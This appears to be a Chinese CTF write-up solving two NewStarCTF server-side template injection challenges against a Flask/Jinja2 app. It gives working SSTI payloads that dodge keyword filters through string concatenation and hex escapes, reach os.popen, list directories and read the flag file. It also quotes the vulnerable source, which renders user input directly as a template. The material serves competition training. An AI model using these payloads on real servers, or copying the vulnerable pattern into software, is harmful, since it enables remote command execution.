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backend 2025/7/5 23:12:52

[NewStarCTF 公开赛赛道]BabySSTI_One

测试发现过滤关键字，但是特殊符号中括号、双引号、点都能用

可以考虑拼接或者编码，这里使用拼接


?name={{()["__cla"~"ss__"]}}


?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()}}

直接命令执行


?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()[117]["__in"~"it__"]["__glob"~"als__"]["po"~"pen"]("ls")["read"]()}}

?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()[117]["__in"~"it__"]["__glob"~"als__"]["po"~"pen"]("ca"~"t"~" "~"app*")["read"]()}}


from flask import Flask, request 
from jinja2 import Template 
import re 
app = Flask(__name__) 
@app.route("/") 
def index(): name = request.args.get('name', 'CTFer') if not re.findall('class|base|init|mro|flag|cat|more|env', name): t = Template("Welcome to NewStarCTF, Dear " + name + "Try to GET me a NAME") return t.render() else: t = Template("Get Out!Hacker!") return t.render() 
if __name__ == "__main__": app.run()

根目录下


?name={{()["__cla"~"ss__"]["__ba"~"se__"]["__subcl"~"asses__"]()[117]["__in"~"it__"]["__glob"~"als__"]["po"~"pen"]("tac /fla*")["read"]()}}

[NewStarCTF 公开赛赛道]BabySSTI_Two

burp测一下过滤哪些

过滤了这些内容，可用如下

尝试十六进制编码绕过


?name={{()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']}}


#{{()['__class__']['__base__']['__subclasses__']()}}
{{()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()}}


name={{(()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()[117])['__\x69\x6e\x69\x74__']['__\x67\x6c\x6f\x62\x61\x6c\x73__']['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}}#    {{(()['__class__']['__base__']['__subclasses__']()[117])['__init__']['__globals__']['popen']('ls')['read']()}}

flag在根目录下


?name={{(()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()[117])['__\x69\x6e\x69\x74__']['__\x67\x6c\x6f\x62\x61\x6c\x73__']['\x70\x6f\x70\x65\x6e']('\x6c\x73\x20\x2f')['\x72\x65\x61\x64']()}}# {{(()['__class__']['__base__']['__subclasses__']()[117])['__init__']['__globals__']['popen']('ls /')['read']()}}?name={{(()['__\x63\x6c\x61\x73\x73__']['__base__']['__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__']()[117])['__\x69\x6e\x69\x74__']['__\x67\x6c\x6f\x62\x61\x6c\x73__']['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x5f\x69\x6e\x5f\x68\x33\x72\x33\x5f\x35\x32\x64\x61\x61\x64')['\x72\x65\x61\x64']()}}# {{(()['__class__']['__base__']['__subclasses__']()[117])['__init__']['__globals__']['popen']('cat /flag_in_h3r3_52daad')['read']()}}